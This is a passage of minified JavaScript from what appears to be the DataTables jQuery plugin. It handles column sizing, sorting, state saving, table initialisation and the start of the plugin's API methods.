O),H(function(a,b){a.style.width=z[b]},s),h(O).height(0));H(function(a,b){a.innerHTML='<div class="dataTables_sizing" style="height:0;overflow:hidden;">'+A[b]+"</div>";a.style.width=y[b]},v);N&&H(function(a,b){a.innerHTML="";a.style.width=z[b]},O);if(E.outerWidth()<f){s=i.scrollHeight>i.offsetHeight||"scroll"==l.css("overflow-y")?f+b:f;if(w&&(i.scrollHeight>i.offsetHeight||"scroll"==l.css("overflow-y")))t.width=u(s-b);(""===c||""!==d)&&J(a,1,"Possible column misalignment",6)}else s="100%";k.width=
u(s);g.width=u(s);N&&(a.nScrollFoot.style.width=u(s));!e&&w&&(k.height=u(p.offsetHeight+b));c=E.outerWidth();n[0].style.width=u(c);j.width=u(c);d=E.height()>i.clientHeight||"scroll"==l.css("overflow-y");e="padding"+(Eb.bScrollbarLeft?"Left":"Right");j[e]=d?b+"px":"0px";N&&(m[0].style.width=u(c),q[0].style.width=u(c),q[0].style[e]=d?b+"px":"0px");l.scroll();if((a.bSorted||a.bFiltered)&&!a._drawHold)i.scrollTop=0}function H(a,b,c){for(var d=0,e=0,f=b.length,g,i;e<f;){g=b[e].firstChild;for(i=c?c[e].firstChild:
null;g;)1===g.nodeType&&(c?a(g,i,d):a(g,d),d++),g=g.nextSibling,i=c?i.nextSibling:null;e++}}function Ha(a){var b=a.nTable,c=a.aoColumns,d=a.oScroll,e=d.sY,f=d.sX,g=d.sXInner,i=c.length,j=aa(a,"bVisible"),n=h("th",a.nTHead),l=b.getAttribute("width"),k=b.parentNode,q=!1,m,o,p;p=a.oBrowser;d=p.bScrollOversize;(m=b.style.width)&&-1!==m.indexOf("%")&&(l=m);for(m=0;m<j.length;m++)o=c[j[m]],null!==o.sWidth&&(o.sWidth=Fb(o.sWidthOrig,k),q=!0);if(d||!q&&!f&&!e&&i==ca(a)&&i==n.length)for(m=0;m<i;m++){if(j=
$(a,m))c[j].sWidth=u(n.eq(m).width())}else{i=h(b).clone().css("visibility","hidden").removeAttr("id");i.find("tbody tr").remove();var t=h("<tr/>").appendTo(i.find("tbody"));i.find("thead, tfoot").remove();i.append(h(a.nTHead).clone()).append(h(a.nTFoot).clone());i.find("tfoot th, tfoot td").css("width","");n=qa(a,i.find("thead")[0]);for(m=0;m<j.length;m++)o=c[j[m]],n[m].style.width=null!==o.sWidthOrig&&""!==o.sWidthOrig?u(o.sWidthOrig):"";if(a.aoData.length)for(m=0;m<j.length;m++)q=j[m],o=c[q],h(Gb(a,
q)).clone(!1).append(o.sContentPadding).appendTo(t);q=h("<div/>").css(f||e?{position:"absolute",top:0,left:0,height:1,right:0,overflow:"hidden"}:{}).append(i).appendTo(k);f&&g?i.width(g):f?(i.css("width","auto"),i.width()<k.clientWidth&&i.width(k.clientWidth)):e?i.width(k.clientWidth):l&&i.width(l);if(f){for(m=g=0;m<j.length;m++)o=c[j[m]],e=p.bBounding?n[m].getBoundingClientRect().width:h(n[m]).outerWidth(),g+=null===o.sWidthOrig?e:parseInt(o.sWidth,10)+e-h(n[m]).width();i.width(u(g));b.style.width=
u(g)}for(m=0;m<j.length;m++)if(o=c[j[m]],p=h(n[m]).width())o.sWidth=u(p);b.style.width=u(i.css("width"));q.remove()}l&&(b.style.width=u(l));if((l||f)&&!a._reszEvt)b=function(){h(Fa).bind("resize.DT-"+a.sInstance,ua(function(){Y(a)}))},d?setTimeout(b,1E3):b(),a._reszEvt=!0}function ua(a,b){var c=b!==k?b:200,d,e;return function(){var b=this,g=+new Date,i=arguments;d&&g<d+c?(clearTimeout(e),e=setTimeout(function(){d=k;a.apply(b,i)},c)):(d=g,a.apply(b,i))}}function Fb(a,b){if(!a)return 0;var c=h("<div/>").css("width",
u(a)).appendTo(b||T.body),d=c[0].offsetWidth;c.remove();return d}function Gb(a,b){var c=Hb(a,b);if(0>c)return null;var d=a.aoData[c];return!d.nTr?h("<td/>").html(B(a,c,b,"display"))[0]:d.anCells[b]}function Hb(a,b){for(var c,d=-1,e=-1,f=0,g=a.aoData.length;f<g;f++)c=B(a,f,b,"display")+"",c=c.replace($b,""),c.length>d&&(d=c.length,e=f);return e}function u(a){return null===a?"0px":"number"==typeof a?0>a?"0px":a+"px":a.match(/\d$/)?a+"px":a}function V(a){var b,c,d=[],e=a.aoColumns,f,g,i,j;b=a.aaSortingFixed;
c=h.isPlainObject(b);var n=[];f=function(a){a.length&&!h.isArray(a[0])?n.push(a):h.merge(n,a)};h.isArray(b)&&f(b);c&&b.pre&&f(b.pre);f(a.aaSorting);c&&b.post&&f(b.post);for(a=0;a<n.length;a++){j=n[a][0];f=e[j].aDataSort;b=0;for(c=f.length;b<c;b++)g=f[b],i=e[g].sType||"string",n[a]._idx===k&&(n[a]._idx=h.inArray(n[a][1],e[g].asSorting)),d.push({src:j,col:g,dir:n[a][1],index:n[a]._idx,type:i,formatter:m.ext.type.order[i+"-pre"]})}return d}function mb(a){var b,c,d=[],e=m.ext.type.order,f=a.aoData,g=
0,i,j=a.aiDisplayMaster,h;Ia(a);h=V(a);b=0;for(c=h.length;b<c;b++)i=h[b],i.formatter&&g++,Ib(a,i.col);if("ssp"!=y(a)&&0!==h.length){b=0;for(c=j.length;b<c;b++)d[j[b]]=b;g===h.length?j.sort(function(a,b){var c,e,g,i,j=h.length,k=f[a]._aSortData,m=f[b]._aSortData;for(g=0;g<j;g++)if(i=h[g],c=k[i.col],e=m[i.col],c=c<e?-1:c>e?1:0,0!==c)return"asc"===i.dir?c:-c;c=d[a];e=d[b];return c<e?-1:c>e?1:0}):j.sort(function(a,b){var c,g,i,j,k=h.length,m=f[a]._aSortData,p=f[b]._aSortData;for(i=0;i<k;i++)if(j=h[i],
c=m[j.col],g=p[j.col],j=e[j.type+"-"+j.dir]||e["string-"+j.dir],c=j(c,g),0!==c)return c;c=d[a];g=d[b];return c<g?-1:c>g?1:0})}a.bSorted=!0}function Jb(a){for(var b,c,d=a.aoColumns,e=V(a),a=a.oLanguage.oAria,f=0,g=d.length;f<g;f++){c=d[f];var i=c.asSorting;b=c.sTitle.replace(/<.*?>/g,"");var j=c.nTh;j.removeAttribute("aria-sort");c.bSortable&&(0<e.length&&e[0].col==f?(j.setAttribute("aria-sort","asc"==e[0].dir?"ascending":"descending"),c=i[e[0].index+1]||i[0]):c=i[0],b+="asc"===c?a.sSortAscending:
a.sSortDescending);j.setAttribute("aria-label",b)}}function Ua(a,b,c,d){var e=a.aaSorting,f=a.aoColumns[b].asSorting,g=function(a,b){var c=a._idx;c===k&&(c=h.inArray(a[1],f));return c+1<f.length?c+1:b?null:0};"number"===typeof e[0]&&(e=a.aaSorting=[e]);c&&a.oFeatures.bSortMulti?(c=h.inArray(b,D(e,"0")),-1!==c?(b=g(e[c],!0),null===b&&1===e.length&&(b=0),null===b?e.splice(c,1):(e[c][1]=f[b],e[c]._idx=b)):(e.push([b,f[0],0]),e[e.length-1]._idx=0)):e.length&&e[0][0]==b?(b=g(e[0]),e.length=1,e[0][1]=f[b],
e[0]._idx=b):(e.length=0,e.push([b,f[0]]),e[0]._idx=0);R(a);"function"==typeof d&&d(a)}function Oa(a,b,c,d){var e=a.aoColumns[c];Va(b,{},function(b){!1!==e.bSortable&&(a.oFeatures.bProcessing?(C(a,!0),setTimeout(function(){Ua(a,c,b.shiftKey,d);"ssp"!==y(a)&&C(a,!1)},0)):Ua(a,c,b.shiftKey,d))})}function xa(a){var b=a.aLastSort,c=a.oClasses.sSortColumn,d=V(a),e=a.oFeatures,f,g;if(e.bSort&&e.bSortClasses){e=0;for(f=b.length;e<f;e++)g=b[e].src,h(D(a.aoData,"anCells",g)).removeClass(c+(2>e?e+1:3));e=0;
for(f=d.length;e<f;e++)g=d[e].src,h(D(a.aoData,"anCells",g)).addClass(c+(2>e?e+1:3))}a.aLastSort=d}function Ib(a,b){var c=a.aoColumns[b],d=m.ext.order[c.sSortDataType],e;d&&(e=d.call(a.oInstance,a,b,ba(a,b)));for(var f,g=m.ext.type.order[c.sType+"-pre"],i=0,h=a.aoData.length;i<h;i++)if(c=a.aoData[i],c._aSortData||(c._aSortData=[]),!c._aSortData[b]||d)f=d?e[i]:B(a,i,b,"sort"),c._aSortData[b]=g?g(f):f}function ya(a){if(a.oFeatures.bStateSave&&!a.bDestroying){var b={time:+new Date,start:a._iDisplayStart,
length:a._iDisplayLength,order:h.extend(!0,[],a.aaSorting),search:Ab(a.oPreviousSearch),columns:h.map(a.aoColumns,function(b,d){return{visible:b.bVisible,search:Ab(a.aoPreSearchCols[d])}})};w(a,"aoStateSaveParams","stateSaveParams",[a,b]);a.oSavedState=b;a.fnStateSaveCallback.call(a.oInstance,a,b)}}function Kb(a){var b,c,d=a.aoColumns;if(a.oFeatures.bStateSave){var e=a.fnStateLoadCallback.call(a.oInstance,a);if(e&&e.time&&(b=w(a,"aoStateLoadParams","stateLoadParams",[a,e]),-1===h.inArray(!1,b)&&(b=
a.iStateDuration,!(0<b&&e.time<+new Date-1E3*b)&&d.length===e.columns.length))){a.oLoadedState=h.extend(!0,{},e);e.start!==k&&(a._iDisplayStart=e.start,a.iInitDisplayStart=e.start);e.length!==k&&(a._iDisplayLength=e.length);e.order!==k&&(a.aaSorting=[],h.each(e.order,function(b,c){a.aaSorting.push(c[0]>=d.length?[0,c[1]]:c)}));e.search!==k&&h.extend(a.oPreviousSearch,Bb(e.search));b=0;for(c=e.columns.length;b<c;b++){var f=e.columns[b];f.visible!==k&&(d[b].bVisible=f.visible);f.search!==k&&h.extend(a.aoPreSearchCols[b],
Bb(f.search))}w(a,"aoStateLoaded","stateLoaded",[a,e])}}}function za(a){var b=m.settings,a=h.inArray(a,D(b,"nTable"));return-1!==a?b[a]:null}function J(a,b,c,d){c="DataTables warning: "+(a?"table id="+a.sTableId+" - ":"")+c;d&&(c+=". For more information about this error, please see http://datatables.net/tn/"+d);if(b)Fa.console&&console.log&&console.log(c);else if(b=m.ext,b=b.sErrMode||b.errMode,a&&w(a,null,"error",[a,d,c]),"alert"==b)alert(c);else{if("throw"==b)throw Error(c);"function"==typeof b&&
b(a,d,c)}}function F(a,b,c,d){h.isArray(c)?h.each(c,function(c,d){h.isArray(d)?F(a,b,d[0],d[1]):F(a,b,d)}):(d===k&&(d=c),b[c]!==k&&(a[d]=b[c]))}function Lb(a,b,c){var d,e;for(e in b)b.hasOwnProperty(e)&&(d=b[e],h.isPlainObject(d)?(h.isPlainObject(a[e])||(a[e]={}),h.extend(!0,a[e],d)):a[e]=c&&"data"!==e&&"aaData"!==e&&h.isArray(d)?d.slice():d);return a}function Va(a,b,c){h(a).bind("click.DT",b,function(b){a.blur();c(b)}).bind("keypress.DT",b,function(a){13===a.which&&(a.preventDefault(),c(a))}).bind("selectstart.DT",
function(){return!1})}function z(a,b,c,d){c&&a[b].push({fn:c,sName:d})}function w(a,b,c,d){var e=[];b&&(e=h.map(a[b].slice().reverse(),function(b){return b.fn.apply(a.oInstance,d)}));null!==c&&(b=h.Event(c+".dt"),h(a.nTable).trigger(b,d),e.push(b.result));return e}function Sa(a){var b=a._iDisplayStart,c=a.fnDisplayEnd(),d=a._iDisplayLength;b>=c&&(b=c-d);b-=b%d;if(-1===d||0>b)b=0;a._iDisplayStart=b}function Pa(a,b){var c=a.renderer,d=m.ext.renderer[b];return h.isPlainObject(c)&&c[b]?d[c[b]]||d._:"string"===
typeof c?d[c]||d._:d._}function y(a){return a.oFeatures.bServerSide?"ssp":a.ajax||a.sAjaxSource?"ajax":"dom"}function Aa(a,b){var c=[],c=Mb.numbers_length,d=Math.floor(c/2);b<=c?c=W(0,b):a<=d?(c=W(0,c-2),c.push("ellipsis"),c.push(b-1)):(a>=b-1-d?c=W(b-(c-2),b):(c=W(a-d+2,a+d-1),c.push("ellipsis"),c.push(b-1)),c.splice(0,0,"ellipsis"),c.splice(0,0,0));c.DT_el="span";return c}function cb(a){h.each({num:function(b){return Ba(b,a)},"num-fmt":function(b){return Ba(b,a,Wa)},"html-num":function(b){return Ba(b,
a,Ca)},"html-num-fmt":function(b){return Ba(b,a,Ca,Wa)}},function(b,c){v.type.order[b+a+"-pre"]=c;b.match(/^html\-/)&&(v.type.search[b+a]=v.type.search.html)})}function Nb(a){return function(){var b=[za(this[m.ext.iApiIndex])].concat(Array.prototype.slice.call(arguments));return m.ext.internal[a].apply(this,b)}}var m,v,t,p,s,Xa={},Ob=/[\r\n]/g,Ca=/<.*?>/g,ac=/^[\w\+\-]/,bc=/[\w\+\-]$/,Yb=RegExp("(\\/|\\.|\\*|\\+|\\?|\\||\\(|\\)|\\[|\\]|\\{|\\}|\\\\|\\$|\\^|\\-)","g"),Wa=/[',$£€¥%\u2009\u202F\u20BD\u20a9\u20BArfk]/gi,
K=function(a){return!a||!0===a||"-"===a?!0:!1},Pb=function(a){var b=parseInt(a,10);return!isNaN(b)&&isFinite(a)?b:null},Qb=function(a,b){Xa[b]||(Xa[b]=RegExp(va(b),"g"));return"string"===typeof a&&"."!==b?a.replace(/\./g,"").replace(Xa[b],"."):a},Ya=function(a,b,c){var d="string"===typeof a;if(K(a))return!0;b&&d&&(a=Qb(a,b));c&&d&&(a=a.replace(Wa,""));return!isNaN(parseFloat(a))&&isFinite(a)},Rb=function(a,b,c){return K(a)?!0:!(K(a)||"string"===typeof a)?null:Ya(a.replace(Ca,""),b,c)?!0:null},D=function(a,
b,c){var d=[],e=0,f=a.length;if(c!==k)for(;e<f;e++)a[e]&&a[e][b]&&d.push(a[e][b][c]);else for(;e<f;e++)a[e]&&d.push(a[e][b]);return d},ja=function(a,b,c,d){var e=[],f=0,g=b.length;if(d!==k)for(;f<g;f++)a[b[f]][c]&&e.push(a[b[f]][c][d]);else for(;f<g;f++)e.push(a[b[f]][c]);return e},W=function(a,b){var c=[],d;b===k?(b=0,d=a):(d=b,b=a);for(var e=b;e<d;e++)c.push(e);return c},Sb=function(a){for(var b=[],c=0,d=a.length;c<d;c++)a[c]&&b.push(a[c]);return b},pa=function(a){var b=[],c,d,e=a.length,f,g=0;
d=0;a:for(;d<e;d++){c=a[d];for(f=0;f<g;f++)if(b[f]===c)continue a;b.push(c);g++}return b},A=function(a,b,c){a[b]!==k&&(a[c]=a[b])},da=/\[.*?\]$/,U=/\(\)$/,wa=h("<div>")[0],Zb=wa.textContent!==k,$b=/<.*?>/g;m=function(a){this.$=function(a,b){return this.api(!0).$(a,b)};this._=function(a,b){return this.api(!0).rows(a,b).data()};this.api=function(a){return a?new t(za(this[v.iApiIndex])):new t(this)};this.fnAddData=function(a,b){var c=this.api(!0),d=h.isArray(a)&&(h.isArray(a[0])||h.isPlainObject(a[0]))?
c.rows.add(a):c.row.add(a);(b===k||b)&&c.draw();return d.flatten().toArray()};this.fnAdjustColumnSizing=function(a){var b=this.api(!0).columns.adjust(),c=b.settings()[0],d=c.oScroll;a===k||a?b.draw(!1):(""!==d.sX||""!==d.sY)&&Z(c)};this.fnClearTable=function(a){var b=this.api(!0).clear();(a===k||a)&&b.draw()};this.fnClose=function(a){this.api(!0).row(a).child.hide()};this.fnDeleteRow=function(a,b,c){var d=this.api(!0),a=d.rows(a),e=a.settings()[0],h=e.aoData[a[0][0]];a.remove();b&&b.call(this,e,h);
(c===k||c)&&d.draw();return h};this.fnDestroy=function(a){this.api(!0).destroy(a)};this.fnDraw=function(a){this.api(!0).draw(a)};this.fnFilter=function(a,b,c,d,e,h){e=this.api(!0);null===b||b===k?e.search(a,c,d,h):e.column(b).search(a,c,d,h);e.draw()};this.fnGetData=function(a,b){var c=this.api(!0);if(a!==k){var d=a.nodeName?a.nodeName.toLowerCase():"";return b!==k||"td"==d||"th"==d?c.cell(a,b).data():c.row(a).data()||null}return c.data().toArray()};this.fnGetNodes=function(a){var b=this.api(!0);
return a!==k?b.row(a).node():b.rows().nodes().flatten().toArray()};this.fnGetPosition=function(a){var b=this.api(!0),c=a.nodeName.toUpperCase();return"TR"==c?b.row(a).index():"TD"==c||"TH"==c?(a=b.cell(a).index(),[a.row,a.columnVisible,a.column]):null};this.fnIsOpen=function(a){return this.api(!0).row(a).child.isShown()};this.fnOpen=function(a,b,c){return this.api(!0).row(a).child(b,c).show().child()[0]};this.fnPageChange=function(a,b){var c=this.api(!0).page(a);(b===k||b)&&c.draw(!1)};this.fnSetColumnVis=
function(a,b,c){a=this.api(!0).column(a).visible(b);(c===k||c)&&a.columns.adjust().draw()};this.fnSettings=function(){return za(this[v.iApiIndex])};this.fnSort=function(a){this.api(!0).order(a).draw()};this.fnSortListener=function(a,b,c){this.api(!0).order.listener(a,b,c)};this.fnUpdate=function(a,b,c,d,e){var h=this.api(!0);c===k||null===c?h.row(b).data(a):h.cell(b,c).data(a);(e===k||e)&&h.columns.adjust();(d===k||d)&&h.draw();return 0};this.fnVersionCheck=v.fnVersionCheck;var b=this,c=a===k,d=this.length;
c&&(a={});this.oApi=this.internal=v.internal;for(var e in m.ext.internal)e&&(this[e]=Nb(e));this.each(function(){var e={},e=1<d?Lb(e,a,!0):a,g=0,i,j=this.getAttribute("id"),n=!1,l=m.defaults,r=h(this);if("table"!=this.nodeName.toLowerCase())J(null,0,"Non-table node initialisation ("+this.nodeName+")",2);else{db(l);eb(l.column);I(l,l,!0);I(l.column,l.column,!0);I(l,h.extend(e,r.data()));var q=m.settings,g=0;for(i=q.length;g<i;g++){var p=q[g];if(p.nTable==this||p.nTHead.parentNode==this||p.nTFoot&&
p.nTFoot.parentNode==this){g=e.bRetrieve!==k?e.bRetrieve:l.bRetrieve;if(c||g)return p.oInstance;if(e.bDestroy!==k?e.bDestroy:l.bDestroy){p.oInstance.fnDestroy();break}else{J(p,0,"Cannot reinitialise DataTable",3);return}}if(p.sTableId==this.id){q.splice(g,1);break}}if(null===j||""===j)this.id=j="DataTables_Table_"+m.ext._unique++;var o=h.extend(!0,{},m.models.oSettings,{sDestroyWidth:r[0].style.width,sInstance:j,sTableId:j});o.nTable=this;o.oApi=b.internal;o.oInit=e;q.push(o);o.oInstance=1===b.length?
b:r.dataTable();db(e);e.oLanguage&&S(e.oLanguage);e.aLengthMenu&&!e.iDisplayLength&&(e.iDisplayLength=h.isArray(e.aLengthMenu[0])?e.aLengthMenu[0][0]:e.aLengthMenu[0]);e=Lb(h.extend(!0,{},l),e);F(o.oFeatures,e,"bPaginate bLengthChange bFilter bSort bSortMulti bInfo bProcessing bAutoWidth bSortClasses bServerSide bDeferRender".split(" "));F(o,e,["asStripeClasses","ajax","fnServerData","fnFormatNumber","sServerMethod","aaSorting","aaSortingFixed","aLengthMenu","sPaginationType","sAjaxSource","sAjaxDataProp",
"iStateDuration","sDom","bSortCellsTop","iTabIndex","fnStateLoadCallback","fnStateSaveCallback","renderer","searchDelay","rowId",["iCookieDuration","iStateDuration"],["oSearch","oPreviousSearch"],["aoSearchCols","aoPreSearchCols"],["iDisplayLength","_iDisplayLength"],["bJQueryUI","bJUI"]]);F(o.oScroll,e,[["sScrollX","sX"],["sScrollXInner","sXInner"],["sScrollY","sY"],["bScrollCollapse","bCollapse"]]);F(o.oLanguage,e,"fnInfoCallback");z(o,"aoDrawCallback",e.fnDrawCallback,"user");z(o,"aoServerParams",
e.fnServerParams,"user");z(o,"aoStateSaveParams",e.fnStateSaveParams,"user");z(o,"aoStateLoadParams",e.fnStateLoadParams,"user");z(o,"aoStateLoaded",e.fnStateLoaded,"user");z(o,"aoRowCallback",e.fnRowCallback,"user");z(o,"aoRowCreatedCallback",e.fnCreatedRow,"user");z(o,"aoHeaderCallback",e.fnHeaderCallback,"user");z(o,"aoFooterCallback",e.fnFooterCallback,"user");z(o,"aoInitComplete",e.fnInitComplete,"user");z(o,"aoPreDrawCallback",e.fnPreDrawCallback,"user");o.rowIdFn=P(e.rowId);fb(o);j=o.oClasses;
e.bJQueryUI?(h.extend(j,m.ext.oJUIClasses,e.oClasses),e.sDom===l.sDom&&"lfrtip"===l.sDom&&(o.sDom='<"H"lfr>t<"F"ip>'),o.renderer)?h.isPlainObject(o.renderer)&&!o.renderer.header&&(o.renderer.header="jqueryui"):o.renderer="jqueryui":h.extend(j,m.ext.classes,e.oClasses);r.addClass(j.sTable);o.iInitDisplayStart===k&&(o.iInitDisplayStart=e.iDisplayStart,o._iDisplayStart=e.iDisplayStart);null!==e.iDeferLoading&&(o.bDeferLoading=!0,g=h.isArray(e.iDeferLoading),o._iRecordsDisplay=g?e.iDeferLoading[0]:e.iDeferLoading,
o._iRecordsTotal=g?e.iDeferLoading[1]:e.iDeferLoading);var t=o.oLanguage;h.extend(!0,t,e.oLanguage);""!==t.sUrl&&(h.ajax({dataType:"json",url:t.sUrl,success:function(a){S(a);I(l.oLanguage,a);h.extend(true,t,a);ia(o)},error:function(){ia(o)}}),n=!0);null===e.asStripeClasses&&(o.asStripeClasses=[j.sStripeOdd,j.sStripeEven]);var g=o.asStripeClasses,s=r.children("tbody").find("tr").eq(0);-1!==h.inArray(!0,h.map(g,function(a){return s.hasClass(a)}))&&(h("tbody tr",this).removeClass(g.join(" ")),o.asDestroyStripes=
g.slice());q=[];g=this.getElementsByTagName("thead");0!==g.length&&(fa(o.aoHeader,g[0]),q=qa(o));if(null===e.aoColumns){p=[];g=0;for(i=q.length;g<i;g++)p.push(null)}else p=e.aoColumns;g=0;for(i=p.length;g<i;g++)Ga(o,q?q[g]:null);hb(o,e.aoColumnDefs,p,function(a,b){la(o,a,b)});if(s.length){var u=function(a,b){return a.getAttribute("data-"+b)!==null?b:null};h(s[0]).children("th, td").each(function(a,b){var c=o.aoColumns[a];if(c.mData===a){var d=u(b,"sort")||u(b,"order"),e=u(b,"filter")||u(b,"search");
if(d!==null||e!==null){c.mData={_:a+".display",sort:d!==null?a+".@data-"+d:k,type:d!==null?a+".@data-"+d:k,filter:e!==null?a+".@data-"+e:k};la(o,a)}}})}var v=o.oFeatures;e.bStateSave&&(v.bStateSave=!0,Kb(o,e),z(o,"aoDrawCallback",ya,"state_save"));if(e.aaSorting===k){q=o.aaSorting;g=0;for(i=q.length;g<i;g++)q[g][1]=o.aoColumns[g].asSorting[0]}xa(o);v.bSort&&z(o,"aoDrawCallback",function(){if(o.bSorted){var a=V(o),b={};h.each(a,function(a,c){b[c.src]=c.dir});w(o,null,"order",[o,a,b]);Jb(o)}});z(o,
"aoDrawCallback",function(){(o.bSorted||y(o)==="ssp"||v.bDeferRender)&&xa(o)},"sc");g=r.children("caption").each(function(){this._captionSide=r.css("caption-side")});i=r.children("thead");0===i.length&&(i=h("<thead/>").appendTo(this));o.nTHead=i[0];i=r.children("tbody");0===i.length&&(i=h("<tbody/>").appendTo(this));o.nTBody=i[0];i=r.children("tfoot");if(0===i.length&&0<g.length&&(""!==o.oScroll.sX||""!==o.oScroll.sY))i=h("<tfoot/>").appendTo(this);0===i.length||0===i.children().length?r.addClass(j.sNoFooter):
0<i.length&&(o.nTFoot=i[0],fa(o.aoFooter,o.nTFoot));if(e.aaData)for(g=0;g<e.aaData.length;g++)L(o,e.aaData[g]);else(o.bDeferLoading||"dom"==y(o))&&ma(o,h(o.nTBody).children("tr"));o.aiDisplay=o.aiDisplayMaster.slice();o.bInitialised=!0;!1===n&&ia(o)}});b=null;return this};var Tb=[],x=Array.prototype,cc=function(a){var b,c,d=m.settings,e=h.map(d,function(a){return a.nTable});if(a){if(a.nTable&&a.oApi)return[a];if(a.nodeName&&"table"===a.nodeName.toLowerCase())return b=h.inArray(a,e),-1!==b?[d[b]]:
null;if(a&&"function"===typeof a.settings)return a.settings().toArray();"string"===typeof a?c=h(a):a instanceof h&&(c=a)}else return[];if(c)return c.map(function(){b=h.inArray(this,e);return-1!==b?d[b]:null}).toArray()};t=function(a,b){if(!(this instanceof t))return new t(a,b);var c=[],d=function(a){(a=cc(a))&&(c=c.concat(a))};if(h.isArray(a))for(var e=0,f=a.length;e<f;e++)d(a[e]);else d(a);this.context=pa(c);b&&h.merge(this,b);this.selector={rows:null,cols:null,opts:null};t.extend(this,this,Tb)};
m.Api=t;h.extend(t.prototype,{any:function(){return 0!==this.count()},concat:x.concat,context:[],count:function(){return this.flatten().length},each:function(a){for(var b=0,c=this.length;b<c;b++)a.call(this,this[b],b,this);return this},eq:function(a){var b=this.context;return b.length>a?new t(b[a],this[a]):null},filter:function(a){var b=[];if(x.filter)b=x.filter.call(this,a,this);else for(var c=0,d=this.length;c<d;c++)a.call(this,this[c],c,this)&&b.push(this[c]);return new t(this.context,b)},flatten:function(){var a=
[];return new t(this.context,a.concat.apply(a,this.toArray()))},join:x.join,indexOf:x.indexOf||function(a,b){for(var c=b||0,d=this.length;c<d;c++)if(this[c]===a)return c;return-1},iterator:function(a,b,c,d){var e=[],f,g,h,j,n,l=this.context,m,q,p=this.selector;"string"===typeof a&&(d=c,c=b,b=a,a=!1);g=0;for(h=l.length;g<h;g++){var o=new t(l[g]);if("table"===b)f=c.call(o,l[g],g),f!==k&&e.push(f);else if("columns"===b||"rows"===b)f=c.call(o,l[g],this[g],g),f!==k&&e.push(f);else if("column"===b||"column-rows"===
b||"row"===b||"cell"===b){q=this[g];"column-rows"===b&&(m=Da(l[g],p.opts));j=0;for(n=q.length;j<n;j++)f=q[j],f="cell"===b?c.call(o,l[g],f.row,f.column,g,j):c.call(o,l[g],f,g,j,m),f!==k&&e.push(f)}}return e.length||d?(a=new t(l,a?e.concat.apply([],e):e),b=a.selector,b.rows=p.rows,b.cols=p.cols,b.opts=p.opts,a):this},lastIndexOf:x.lastIndexOf||function(a,b){return this.indexOf.apply(this.toArray.reverse(),arguments)},length:0,map:function(a){var b=[];if(x.map)b=x.map.call(this,a,this);else for(var c=
0,d=this.length;c<d;c++)b.push(a.call(this,this[c],c));return new t(this.context,b)},pluck:function(a){return this.map(function(b){return b[a]})},pop:x.pop,push:x.push,reduce:x.reduce||function(a,b){return gb(this,a,b,0,this.length,1)},reduceRight:x.reduceRight||function(a,b){return gb(this,a,b,this.length-1,-1,-1)},reverse:x.reverse,selector:null,shift:x.shift,sort:x.sort,splice:x.splice,toArray:function(){return x.slice.call(this)},to$:function(){return h(this)},toJQuery:function(){return h(this)},
unique:function(){return new t(this.context,pa(this))},unshift:x.unshift});t.extend=function(a,b,c){if(c.length&&b&&(b instanceof t||b.__dt_wrapper)){var d,e,f,g=function(a,b,c){return function(){var d=b.apply(a,arguments);t.extend(d,d,c.methodExt);return d}};d=0;for(e=c.length;d<e;d++)f=c[d],b[f.name]="function"===typeof f.val?g(a,f.val,f):h.isPlainObject(f.val)?{}:f.val,b[f.name].__dt_wrapper=!0,t.extend(a,b[f.name],f.propExt)}};t.register=p=function(a,b){if(h.isArray(a))for(var c=0,d=a.length;c<
d;c++)t.register(a[c],b);else for(var e=a.split("."),f=Tb,g,i,c=0,d=e.length;c<d;c++){g=(i=-1!==e[c].indexOf("()"))?e[c].replace("()",""):e[c];var j;a:{j=0;for(var n=f.length;j<n;j++)if(f[j].name===g){j=f[j];break a}j=null}j||(j={name:g,val:{},methodExt:[],propExt:[]},f.push(j));c===d-1?j.val=b:f=i?j.methodExt:j.propExt}};t.registerPlural=s=function(a,b,c){t.register(a,c);t.register(b,function(){var a=c.apply(this,arguments);return a===this?this:a instanceof t?a.length?h.isArray(a[0])?new t(a.context,
a[0]):a[0]:k:a})};p("tables()",function(a){var b;if(a){b=t;var c=this.context;if("number"===typeof a)a=[c[a]];else var d=h.map(c,function(a){return a.nTable}),a=h(d).filter(a).map(function(){var a=h.inArray(this,d);return c[a]}).toArray();b=new b(a)}else b=this;return b});p("table()",function(a){var a=this.tables(a),b=a.context;return b.length?new t(b[0]):a});s("tables().nodes()","table().node()",function(){return this.iterator("table",function(a){return a.nTable},1)});s("tables().body()","table().body()",
function(){return this.iterator("table",function(a){return a.nTBody},1)});s("tables().header()","table().header()",function(){return this.iterator("table",function(a){return a.nTHead},1)});s("tables().footer()","table().footer()",function(){return this.iterator("table",function(a){return a.nTFoot},1)});s("tables().containers()","table().container()",function(){return this.iterator("table",function(a){return a.nTableWrapper},1)});p("draw()",function(a){return this.iterator("table",function(b){"page"===
a?M(b):("string"===typeof a&&(a="full-hold"===a?!1:!0),R(b,!1===a))})});p("page()",function(a){return a===k?this.page.info().page:this.iterator("table",function(b){Ta(b,a)})});p("page.info()",function(){if(0===this.context.length)return k;var a=this.context[0],b=a._iDisplayStart,c=a._iDisplayLength,d=a.fnRecordsDisplay(),e=-1===c;return{page:e?0:Math.floor(b/c),pages:e?1:Math.ceil(d/c),start:b,end:a.fnDisplayEnd(),length:c,recordsTotal:a.fnRecordsTotal(),recordsDisplay:d,serverSide:"ssp"===y(a)}});
p("page.len()",function(a){return a===k?0!==this.context.length?this.context[0]._iDisplayLength:k:this.iterator("table",function(b){Ra(b,a)})});var Ub=function(a,b,c){if(c){var d=new t(a);d.one("draw",function(){c(d.ajax.json())})}if("ssp"==y(a))R(a,b);else{C(a,!0);var e=a.jqXHR;e&&4!==e.readyState&&e.abort();ra(a,[],function(c){na(a);for(var c=sa(a,c),d=0,e=c.length;d<e;d++)L(a,c[d]);R(a,b);C(a,!1)})}};p("ajax.json()",function(){var a=this.context;if(0<a.length)return a[0].json});p("ajax.params()",
function(){var a=this.context;if(0<a.length)return a[0].oAjaxData});p("ajax.reload()",function(a,b){return this.iterator("table",function(c){Ub(c,!1===b,a)})});p("ajax.url()",function(a){var b=this.context;if(a===k){if(0===b.length)return k;b=b[0];return b.ajax?h.isPlainObject(b.ajax)?b.ajax.url:b.ajax:b.sAjaxSource}return this.iterator("table",function(b){h.isPlainObject(b.ajax)?b.ajax.url=a:b.ajax=a})});p("ajax.url().load()",function(a,b){return this.iterator("table",function(c){Ub(c,!1===b,a)})});
